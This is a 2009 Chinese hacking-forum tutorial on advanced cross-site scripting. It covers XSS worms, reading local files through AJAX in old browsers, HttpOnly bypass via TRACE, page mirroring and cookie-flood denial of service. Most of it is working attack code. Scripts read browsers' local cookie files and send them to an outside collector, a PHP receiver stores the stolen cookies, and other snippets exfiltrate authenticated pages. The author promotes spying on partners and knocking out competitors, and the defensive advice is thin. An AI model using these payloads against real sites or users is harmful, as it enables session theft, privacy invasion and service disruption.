XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

& y: Q: y' p+ t" cXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
2 P5 s# h3 e% O5 [. l, b/ N% S' T
2 b& J! [7 H) [: v7 a  s# j" N! s

7 p- q- e* Q2 p+ u6 ^$ y-------------------------------------------前言---------------------------------------------------------


/ R$ k* t! D. A本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
0 M6 J" N( A# Y( p( S7 p7 \9 |

如果你还未具备基础XSS知识,以下几个文章建议拜读:
7 z+ |# a4 d5 p  n; R7 Rhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
9 \- a- ^, r, E! @2 P' l8 ]$ \http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
! D5 `  T* a% [' K7 z) j; P6 \3 Thttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
) O9 Y/ L' z; I7 Q: ~http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持



0 L% v" N! Q, q* m! w3 @
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
4 N9 v6 x2 A4 ^" T4 [8 G! Z' b) h
* h+ @% C. ^/ y, l. h希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
" e3 }  V4 p; A+ ~/ x
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
/ e, `( u- h; K
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
0 E5 D3 m7 D( h0 }0 W
QQ ZONE,校内网XSS     感染过万QQ ZONE.
# r( B6 \1 W1 H% A- r2 M
  `$ q' h* P: w% O5 h  g1 h/ h6 DOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

$ a. g# h3 G  K! b..........
& \, m) u2 w. Y复制代码------------------------------------------介绍-------------------------------------------------------------
2 l* H% k; Y& s8 S' D: @
6 p3 s7 G3 Z! t+ U9 M0 T8 _. ]什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

& ?! Y0 O- u" @+ D/ ^0 s2 |. b- s

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
2 `& `- h( R, f复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
1 v9 }, F! P/ W3 [
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
* k8 b7 p1 V/ L7 \( V
* D$ c( g& D7 O2 ?+ Z3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

, Z7 Q% J" p* }& ^( Y8 j4        XSS漏洞在输出和输入两个方面怎么才能避免.

' j) D% f4 u" c1 J' j1 c8 ^" A

* s  S. l7 G4 W* D------------------------------------------研究正题----------------------------------------------------------
1 ^4 ^3 n5 _$ U9 h$ @7 v
% Q: s$ q; B/ j" o
* W0 t3 d; D5 h+ T0 L( G
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
6 Z+ s$ s9 ^( P: }" l' S% ^复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
7 Z8 F- w4 g. t8 W( g2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 j7 V$ Z2 k/ T2 {; r' [% e3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
* p8 i+ n3 A! u- s8 F9 U; d+ Q4:Http-only可以采用作为COOKIES保护方式之一.

( S7 {$ |% Y2 Y4 r+ t
" t. H9 r2 m) G9 }. V8 X
6 ?7 f0 k5 p% d- G2 `
" e0 G8 b* Z- D8 P
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

* N; U: c7 P/ Z8 y& V, G我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
, y, N7 ]' |- R2 q0 l2 F) v


; m+ p7 w9 }6 d5 O7 g# Y    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


0 s! z4 \3 s7 H( |7 W& v. e3 n) b
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
" x6 a& U8 Y; b0 e) e
7 x& K% n5 i" d  z' e
/ s& V# j6 z: C$ W
+ K/ c' g5 h$ S5 ~2 c2 `) V0 B- a0 ~    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
5 k! l$ O( G; O: {' Q, U
    function $(x){return document.getElementById(x)}
2 e, P6 `1 j. p


    function ajax_obj(){

1 @$ R" T$ W' v- V% q* N  R, j    var request = false;

2 X; p( W+ Z3 n  v8 f% }7 G& j, z    if(window.XMLHttpRequest) {
3 m( y2 b1 ^+ j+ e6 r
1 t: @* F  G: W+ @    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
# s8 t% [2 }" L! \5 x8 i& @1 x" g
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
) w- |) e4 @  F0 Q/ ^% `% T! \
% E+ q( \# S6 x% o) R7 p

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

    try {
9 [2 }+ R: j% W1 e5 P
    request = new ActiveXObject(versions);

) u2 h+ t6 ?4 v( S' E    } catch(e) {}

    }
" h4 G7 C* |7 v. Z: B
    }

6 S! B) n+ G2 j, R    return request;

% P/ L9 \5 U) a& L$ B1 d' {    }

$ I2 R0 ~5 y2 o- n9 C    var _x = ajax_obj();
' C! J8 ~: r# G2 u; q* g$ y" ]7 S+ T
; x- l. s+ m& d1 G    function _7or3(_m,action,argv){

0 ?( A7 y+ h' A8 ?, n4 U; ?    _x.open(_m,action,false);
: q9 ?4 g2 P, `% Q
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

3 W( P6 n) }0 E8 Z: K: W    _x.send(argv);

. Y: n( [1 H, R% V    return _x.responseText;

    }
% v& ~' @( S/ I+ J

. F4 M- Z4 _; c6 A2 {
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
. K# m3 d  b8 X( J- ?- k1 G
    alert(txt);
" D# Y2 g1 J3 L( ?; h! e: M


, ~; i9 n& b: K* A( B. o    </script>
* e* p! f3 B! N2 j* N复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
: k8 z' R) z$ a& Z: A
    function $(x){return document.getElementById(x)}
; K8 L( M! q! B/ o. E( e


1 r% S# j% t+ e* V; z    function ajax_obj(){
4 ^- t3 s1 Y) H
    var request = false;

0 |# T/ O* L3 m! r: S# c8 j    if(window.XMLHttpRequest) {
9 k! p8 x- H/ p7 @8 c) u; [1 \
8 I5 b' f+ ]9 z' q# p0 W    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

+ I# m) h# p2 R6 t. m+ k    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
/ _  z1 T; k1 D" y! l

+ ?# t+ \# ?& l- r
& [( F+ t1 L" _/ ^0 z1 L3 l    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- h2 |0 _% I3 ~5 N2 s
9 Q5 Q- ]  n1 g% K( F$ b    for(var i=0; i<versions.length; i++) {

    try {
5 u" Q+ R2 ^+ |
    request = new ActiveXObject(versions);

, Z3 _+ n5 f$ a5 e4 Z    } catch(e) {}
# a3 u  ~5 F% _/ Q4 Z+ w; p
( n) A! P3 ]. ~    }
& n( m0 y, e4 ~, F
2 h+ n* H0 M& `' X  ~6 H& B  J- z    }
6 K' ~9 @3 L; ]
3 X0 L/ J* `3 U, j6 N& A    return request;

    }
, Z% h0 d4 B% b7 ^# Y: J
    var _x = ajax_obj();

1 l3 \7 u  }, U7 b* u! m    function _7or3(_m,action,argv){
6 V7 c  a; c8 m5 A. t5 J+ S
    _x.open(_m,action,false);
( p  [# b* I5 y2 O* R( n# Y
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
6 S4 X8 o" l3 e/ y- \. q
+ N2 o' l, m; G' C8 e7 c0 H6 o/ T( }    _x.send(argv);
: Y* p! {' F& P" _) J) u
    return _x.responseText;
' T1 I5 J; d% z" f- M1 N
- R0 w: e! D/ w0 J* W    }
" T& |# X- K( ^8 J
7 `" Q) ]* N8 ~8 }. r$ H' ~+ ?

    var txt=_7or3("GET","1/11.txt",null);

- a6 V5 M" y8 b9 @- ?    alert(txt);

8 R/ {' v: m4 _( F9 i
/ q% `, o, Y( P) x3 o+ n
    </script>
& Z3 ]5 M" ]. p- X- f( E9 d4 v复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

4 S& f7 r$ g  b7 C/ z8 T" r+ R
. v: c- Y+ w: e  M5 a0 b, A
! ~" P3 O8 @  a* b5 uChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


4 c3 _9 e# ^- y: A6 y7 U4 X
<?   

/*  

- B% E/ \+ E) r, p" T3 V  j' ~     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

2 R) C' E6 n7 n  p" [" O. r) I7 c     www.inbreak.net   
9 R1 p/ i7 R& b6 Y
& w- t; P* j4 p1 g! i. Y$ [6 @; u1 i. S) D     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

% ~, O, b4 ~" i*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

; u  @# \5 n% _/*  

     set header, so just download html file,and open it at local.  
. }. P$ _) n  j( B0 v
*/  
/ T& @5 Y. X! F4 i3 }
# B8 D0 G5 c5 `# v?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
1 B/ P/ Y/ S3 G- ~2 ]
     <input id="input" name="cookie" value="" type="hidden">   
1 [3 a% ~* \, o+ B& M
  f$ O% S; o5 I</form>   
6 G% H8 e4 B; Z; k2 d) k8 l
<script>   
1 `9 j5 h. u/ _: c5 ]9 X/ k. W: d
+ @4 u( _* e6 d; A. y1 efunction doMyAjax(user)   
7 U- a# N6 p- q+ Q9 F% ?7 U
{   

var time = Math.random();   
' c* x6 a' E& J, a* J# y/ t6 v
/*  

3 ?; L% h2 o' N$ cthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
9 b& M8 f/ y# x- `
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
2 A2 R6 t4 M+ `- r5 _; `
+ H& N' w' v6 P8 P) F$ Oand so on...  
) ]( F9 D* u6 i
*/  
& E. K6 }% ~( [" J/ n
2 U- F! X" q* i- ^$ ]var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   
7 _( J6 P3 U3 m2 D: v' m. t8 Q. y4 }# Z
5 M- F+ _; ^* astartRequest(strPer);   
! Z  F! L5 t" n/ ]" x. _0 x

& ?8 K# f- o# V5 Z- b! }
}   
/ y' _- n7 l, c7 f: `, H; M
   

* c+ ]7 @1 t' T3 t0 Lfunction Enshellcode(txt)   
( V0 m5 l& x5 n7 J
{   
1 C8 z+ T0 L: X4 o2 O2 C8 n
var url=new String(txt);   
4 S5 `6 I; w: [
var i=0,l=0,k=0,curl="";   

1 p$ _& W# v$ M& ^5 h' }4 I  n0 Nl= url.length;   

* \! r# G/ `5 l1 e9 Ifor(;i<l;i++){   

k=url.charCodeAt(i);   
, p+ m$ f# F) n; _. f' o
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
( W4 Q% I6 c3 k( R8 F' a. u! ?; `6 H
1 `( A. U' S2 d% y: _2 E- a, z- @if (l%2){curl+="00";}else{curl+="0000";}   

! m7 b$ t6 J4 y( Lcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
+ B! n& ?8 ^0 @: G& t! n
return curl;   

}   
" p5 {- _9 f  M: q2 o/ |4 x
   
, v6 e' i$ }' q! y% `3 x& t5 U5 }( i% B, ?
   
4 c3 j- X6 A% k$ x. Z8 l
var xmlHttp;   
& L( ^! D3 Q) i4 m, Z
* f8 z& W# C: lfunction createXMLHttp(){   
- J) `1 j1 r/ T1 {' w8 I; u
. H% q) Q! v: m0 Y     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

" X: [# m1 O. X2 X     }   

     else if(window.ActiveXObject){   

. f( D  K) m9 @, s4 F! @xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
3 }9 {4 M" l' ^! z: C; r, c
6 j- \3 |0 Z* g) ?6 A2 g& \* d     }   
; K1 ?# @) o* e9 h6 \
8 G2 A7 D$ [: U7 q; x1 t- J- H+ D}   

- d& ?% {8 E/ D4 F   
! y& n% ]5 Z8 v8 ]* M3 s7 R: J/ k  S
5 I! e$ T9 b3 a; W% qfunction startRequest(doUrl){   

8 b$ e% g5 g  _9 A1 M0 l   

     createXMLHttp();   


1 D4 E: i9 T, F
( b* }$ A! e& w% r+ z% n' H0 d     xmlHttp.onreadystatechange = handleStateChange;   
6 v" \" B- y! ^% K


2 t( c. H& \1 s/ M2 e2 D     xmlHttp.open("GET", doUrl, true);   



: Q  O+ v' g; E$ F2 Q6 f, f     xmlHttp.send(null);   
6 Y0 d- p& l: l0 u8 \7 f



% u, D7 @" t2 |0 k3 j" `
8 H( b" g: W. a}   
: ]0 p- Q$ p, S' R1 u3 L) T
   
% ~2 l1 b* A3 K# c0 w
function handleStateChange(){   
, L8 \) P/ `: w) O4 ~; @
     if (xmlHttp.readyState == 4 ){   
! v) A& R) T5 j! H
1 h& f/ X8 j/ }: _) y$ x     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

" D$ I' v3 S$ `) k# g! ]        
4 P6 p% U8 {3 r% d7 A
& [+ u1 z$ `6 E' r) N4 ]* y     }   

  \5 E- E# h* @% e& P# @}   
# I* I& W) z9 Q$ v( G$ }+ p
   

   
1 T8 d1 }  _: k3 h7 a+ B$ e
function framekxlzxPost(text)   

2 [1 W& {$ l+ w{   
* i! ?; H, C# O& g' w2 V
: D( _0 `$ T" |# A( S- W     document.getElementById("input").value = Enshellcode(text);   

+ ~! u. ^2 J4 O5 x     document.getElementById("form").submit();   
, k" X& z0 ^7 V$ U1 @$ H9 N0 _
5 e: B' s. d3 K}   

   

doMyAjax("administrator");   

" m1 B2 X9 A# b  \9 u   
( y( F' u; }; W! V, c& V2 k
& W6 i9 L! {6 e4 t. @</script>
$ y/ k1 C7 E/ t, k# a; t; c复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
& ?2 T7 V1 y3 t3 H8 P
var xmlHttp;  

function createXMLHttp(){  
% G7 {4 p/ ^& K! Y8 a/ p- A0 q
& r& D& a$ K) O8 ?& J. n     if(window.XMLHttpRequest){  

6 ^4 K0 U6 s2 }$ j9 ]         xmlHttp = new XMLHttpRequest();         

3 c4 l- Y' D* B     }  
9 Q3 t. u$ \4 l, |
     else if(window.ActiveXObject){  
1 D2 V8 O' |7 x+ q3 ~0 \" g  @+ [; T
: r/ T7 u4 W6 t         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

}  
% L  F- U5 R9 f
   

3 l, e" j# }) y0 ]4 _7 c( e5 mfunction startRequest(doUrl){  
1 t9 U, U& k7 _5 C+ U: {
           

     createXMLHttp();  
4 I: z$ _+ ^* f( c7 D
3 L0 I) A# P+ f- K: X) S4 L- l, u" g( w      
. X2 U5 `9 n/ N
     xmlHttp.onreadystatechange = handleStateChange;  
. ?3 ^# ~- Q/ G, P2 }0 b4 h
      

     xmlHttp.open("GET", doUrl, true);  
# }3 N5 {! a7 _- b
" Y$ o5 _; J- D3 j0 K- n) X0 }      
) I" O- I9 X, V" j& Z  M) ^3 `
4 a! l8 Q/ N5 I4 y; s     xmlHttp.send(null);  

7 d1 t4 K0 u* u* S/ L      
* f- C$ k5 {  y' f/ U
1 b) N1 R1 J; Q2 O6 t( l: ?      

# f; E  g! w' W$ ]2 t" p+ H}   

   

$ N) l! Q) f6 _' y! E$ O1 ^function handleStateChange(){  

# F3 T  b, @% m% F; |     if (xmlHttp.readyState == 4 ){  
/ k+ O0 P4 Y6 O5 u
& i0 v6 J& D$ R- H4 b7 u) T" w0 T             var strResponse = "";  
3 M: G3 j1 G4 e' z
( Y+ E7 A, F% d4 o: x             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
$ x5 G( V# f) x5 l1 z
               
2 f2 B. v, M. n! d
8 A( s- V- i" l; Y' _% A     }  

3 v- Z' ?) ?4 @( k/ z}  
( \$ ~$ Q. k+ g: F5 ?) b  ~
1 b4 K1 t% l6 y! l1 T7 N   
+ n7 r* l& u+ u6 E+ ^. F9 U
function doMyAjax(user,file)  

8 k4 e1 G/ B$ L9 J; R{  
% m& b  ^* ]9 T6 U
  s' L+ T( O( Y- \! j  W* W& c- A6 ^         var time = Math.random();  
( ]) _& {4 [2 P  j3 c- k5 l- s
           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
+ k( f8 h0 |9 n3 G) F, h
' m3 V5 N+ l* O& Y           

         startRequest(strPer);  
1 a9 x0 d" D5 _" k
7 V) |) @; R: G, t$ s      

4 D" o2 ^3 a$ v" b% ~}  

2 {  l2 k9 d2 \; B6 N   

function framekxlzxPost(text)  
8 V1 [) w( [& A9 ]7 y0 U; s
" Y; t6 r0 Q3 H! Y5 @, n; z& {' A{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

}  
/ e! F, x0 e" O9 o! b: M
   

& r. N! f) U2 z' IdoMyAjax('administrator','administrator@alibaba[1].txt');  

& h7 P' I& |8 h; n   

- k( C1 F8 I! _9 c* ~- O- o</script>


1 @9 X" W  }1 l- g


  ]9 X4 N6 X6 U( k$ b, Ca.php



<?php      

) X! v0 G9 ]" [" x0 a$ j# ]: Q   

; l* ~: ~' U/ u, m2 s& V$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
; ^8 M, G/ I5 K1 i& p) v0 G/ J
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

- h! Z0 J. `, D' o0 ^1 r9 {! t  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
: C) a/ }) j! {4 ^5 O& H) k3 ]9 p
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

+ m# z1 G  `6 ??>
* ]- i0 [$ h2 G% ^# k- r复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

/ m! ]8 G1 }5 L- K  B//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
8 N6 R2 a; q/ M# K# M; z
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
6 _8 Q: [/ U) ~5 ~% f4 x
function getURL(s) {

. M0 G: b1 [0 c% _; Ovar image = new Image();
" b& G, r9 n& g7 m( C
6 `8 v6 f) P; Qimage.style.width = 0;
# c% k! i+ }- ~. M7 n
9 J7 ?- Y! N3 Z* F" c' x/ ximage.style.height = 0;
' f+ j# v) e3 a' d& N4 L
* H2 [! V5 A  [( ?image.src = s;
, ?* v5 o' s6 w4 H  t! }
}

# W! W2 k7 e% _* tgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
% K6 a* F* u% B" D, k% M复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
% ?: \. G2 q0 {3 Q3 P& Q7 x这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

) h- d: Q9 c9 E+ B4 e5 A: {( y7 u; Uwhile (str.length < 4000){

& s6 B2 S/ ]  _+ ?, m    str += metastr;

}
2 T$ r$ K" |) [/ f0 h  Z' p  R
9 w+ e" o9 a( }! g* r/ W7 Z

/ u8 [- z6 c0 t, [9 E  y6 ~$ zdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

2 J% A  D/ j4 y8 Z</script>
9 B3 Z% X7 F; L' C% s# V4 b! c
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
5 }: N+ g" S# S1 Bserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

. C1 r! h) s3 s$ z假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
2 L) y" ?  `7 T$ s( m





2 |; c6 ~9 W. I(III) Http only bypass 与 补救对策:

/ ^$ H' j2 s4 l7 m/ C: [什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
- v/ u- |3 ]5 m* @2 {1 Z" Q
<!--

8 ^6 M; ]; n( R2 S0 Hfunction normalCookie() {
1 b8 A+ S  u4 p5 j1 L: ^
  K# ?  h1 m6 P, q3 {  t" `document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

}
* ]- f& \' ?" V, J5 n+ t* o5 D2 G: R) L

; S$ @) `/ I3 `* g7 \, F9 H
# `; p) h' R1 c+ I+ E% {4 V( M9 f: v

7 N. X' p7 v& c9 r5 dfunction httpOnlyCookie() {
% u: }" n3 s- ?$ s& c/ I
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}
3 C/ d5 X/ g3 G* a" T: ?' l

& n" g0 J, v( }' q. @
2 b$ A; C, O5 O//-->

</script>
- @. @! F6 H* K, M2 Y. ?1 ?
7 Q4 k! m2 D+ i2 [" H" ]6 P0 [

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
( S! \1 i- E* g9 N* |
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
- u) M# {5 T8 ~, E复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

8 M" K# p+ i) F

* l7 Y4 |5 b+ i! K; ^- u, gvar request = false;
; N7 H9 L' \. G0 L
        if(window.XMLHttpRequest) {
1 ^" r: o1 ]1 d
0 E5 G/ ^9 D! \            request = new XMLHttpRequest();
4 G  S* M0 f" P9 n# I# b
7 ?5 e& r# }7 {2 Y0 {            if(request.overrideMimeType) {
# }+ A7 n9 F' x3 O4 n' o+ O+ W
# Y$ j# v8 D: {6 i7 [  X                request.overrideMimeType('text/xml');
; C8 u5 a9 e! f- |: _0 i# ?+ z
            }

- o6 v5 _+ p7 [  O% x. R4 K        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
1 R9 E* `3 ^$ j( ?
            for(var i=0; i<versions.length; i++) {

% W2 Y0 `- t* C& y                try {
( p% F& u; q' p9 z6 j7 z  h
' e. v- X8 |+ O  h                    request = new ActiveXObject(versions);
# u. \# A; f) n# `) y  w. m. |9 C6 \
) G; W) X  G& ^. A& T2 W                } catch(e) {}
/ F6 J3 G% Z" u3 f, ~/ j
" L' u" _$ k; [& }8 K; F0 J" h- K            }

. t( \2 P8 e! g3 u) f& R6 d2 t7 r        }
/ U, H. R" S6 u# ]. r7 {
xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
! K* Q+ L8 i' @7 C. t7 C2 I' ^
xmlHttp.send(null);

) H/ w9 x- T" u2 z; pxmlDoc=xmlHttp.responseText;
( d2 Q" @8 u& U# h6 t0 q6 k. b/ x
alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
  @  E2 K6 _, C! \9 m
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

7 x5 h2 g* a0 x2 {XmlHttp.open("GET","http://www.google.com",false);

$ w5 l5 `9 @+ z% V) E# k3 T/ xXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

! A  l3 r' h5 S0 E! h' qXmlHttp.send(null);
# l+ Y) }; K9 x/ `. T: X
+ N5 }4 \2 r0 z$ x7 n1 D% w" bvar resource=xmlHttp.responseText
! W7 V! W; S8 J
resource.search(/cookies/);

......................
( Y; n: v- Y7 ~, M9 ~/ `: f* x
</script>

  m% L9 k! }! C0 E' ~+ N! S



如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

& H5 O0 s& {3 [% d3 @9 w# @# v$ S& ?[code]

: {, e( y' ]2 U$ LRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

) U- S5 s. V  e6 ~8 rRewriteRule .* - [F]
( C5 K1 ~" p: ]% p% S0 b- `1 e

! Q! }( I: a- Z" [1 k* o
, A; c, Z; E0 |8 QSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
7 G& Q5 f% m  B9 |
0 [" b: ^% k% g* ~- X...

( G5 b/ q) `) nhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
! z* L/ y: I' T7 P# {* A
